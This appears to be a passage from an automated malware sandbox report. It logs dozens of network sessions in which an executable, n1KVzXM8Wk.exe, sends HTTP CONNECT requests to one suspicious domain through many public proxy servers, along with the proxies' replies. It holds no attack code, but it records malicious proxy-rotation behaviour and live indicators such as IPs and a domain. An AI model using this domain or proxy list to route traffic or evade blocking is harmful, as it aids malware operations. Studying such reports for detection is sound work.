1568	192.168.2.4	54490	114.129.2.82	8081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.470498085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.733197927 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1569	192.168.2.4	54007	92.246.139.113	13209	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.478537083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.475202084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.475486994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.569156885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:52.584280014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:04.584290028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:16.646804094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1570	192.168.2.4	53292	207.180.198.241	42581	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.478645086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1571	192.168.2.4	54509	81.228.38.238	46115	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.488676071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1572	192.168.2.4	51861	191.37.4.218	8085	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.495655060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.681081057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.071103096 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1573	192.168.2.4	54500	45.177.80.210	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.540957928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1574	192.168.2.4	54491	210.211.113.36	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.546329021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1575	192.168.2.4	51849	109.205.181.27	58981	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.546658039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1576	192.168.2.4	54106	92.204.134.38	12752	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.585789919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1577	192.168.2.4	54529	162.159.250.145	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.590471029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.678641081 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1578	192.168.2.4	54484	116.62.19.215	7890	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.594481945 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:29.365813971 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:29.720580101 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1579	192.168.2.4	54519	35.185.196.38	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.599695921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.768757105 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1580	192.168.2.4	54530	104.18.254.76	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.609591007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.696871042 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1581	192.168.2.4	54085	149.28.75.112	8888	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.630115032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.681471109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.682168007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.681066036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1582	192.168.2.4	54508	8.222.145.238	15673	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.738790989 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1583	192.168.2.4	54524	185.165.169.7	8118	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.757038116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.004503012 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1584	192.168.2.4	53371	208.87.131.151	37977	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.784677982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.365813971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.866091967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.865957975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.866010904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.682393074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1585	192.168.2.4	53350	167.86.69.142	32947	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.846113920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1586	192.168.2.4	54088	103.83.232.122	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.846148968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1587	192.168.2.4	54295	192.111.129.145	16894	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.855520010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1588	192.168.2.4	53380	162.0.220.234	11919	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.856517076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.943886042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.969959021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.046293020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:53.053145885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:05.068747044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:17.209391117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1589	192.168.2.4	54101	110.34.3.229	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.859725952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.226224899 CET	90	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.54 (Win64) OpenSSL/1.1.1o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1590	192.168.2.4	53373	212.110.187.185	34405	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.859973907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.025990963 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1591	192.168.2.4	54515	103.118.46.174	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.860085011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1592	192.168.2.4	54527	177.38.245.110	55713	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.860280037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1593	192.168.2.4	54520	8.213.129.20	19	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.861259937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.175052881 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1594	192.168.2.4	53416	107.173.154.83	49991	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.861681938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.865915060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.866615057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.866456032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1595	192.168.2.4	52026	185.82.98.249	8092	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.873182058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.222393990 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1596	192.168.2.4	52041	178.213.24.233	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.901942968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.943909883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.958348036 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1597	192.168.2.4	54533	27.65.30.37	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.947499990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1598	192.168.2.4	54532	45.251.231.113	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.953658104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1599	192.168.2.4	51991	103.146.197.43	4996	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.973767042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1600	192.168.2.4	54132	103.158.253.187	8090	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.996594906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.178796053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.365922928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.365961075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:53.381179094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1601	192.168.2.4	53480	162.241.41.87	51247	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.996849060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.046845913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1602	192.168.2.4	54197	201.71.2.249	999	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.034696102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1603	192.168.2.4	53571	142.54.228.193	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.035507917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1604	192.168.2.4	54451	117.160.250.163	8828	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.071300030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.027267933 CET	221	IN	HTTP/1.1 403 Access Denied Date: Fri, 23 Feb 2024 08:45:29 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1605	192.168.2.4	54536	103.204.54.50	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.092715025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1606	192.168.2.4	54564	121.159.146.251	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.093853951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.380384922 CET	310	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 08:45:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1607	192.168.2.4	54587	209.97.150.167	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.094118118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.228667974 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1608	192.168.2.4	54601	66.207.184.73	5432	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.100502014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.194919109 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Fri, 23 Feb 2024 08:45:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

